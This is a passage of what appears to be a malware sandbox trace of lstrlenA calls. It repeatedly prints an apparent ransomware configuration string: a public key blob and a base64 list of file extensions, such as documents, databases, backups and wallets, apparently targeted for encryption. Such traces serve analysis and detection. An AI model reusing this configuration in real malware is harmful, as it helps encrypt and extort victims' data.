(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi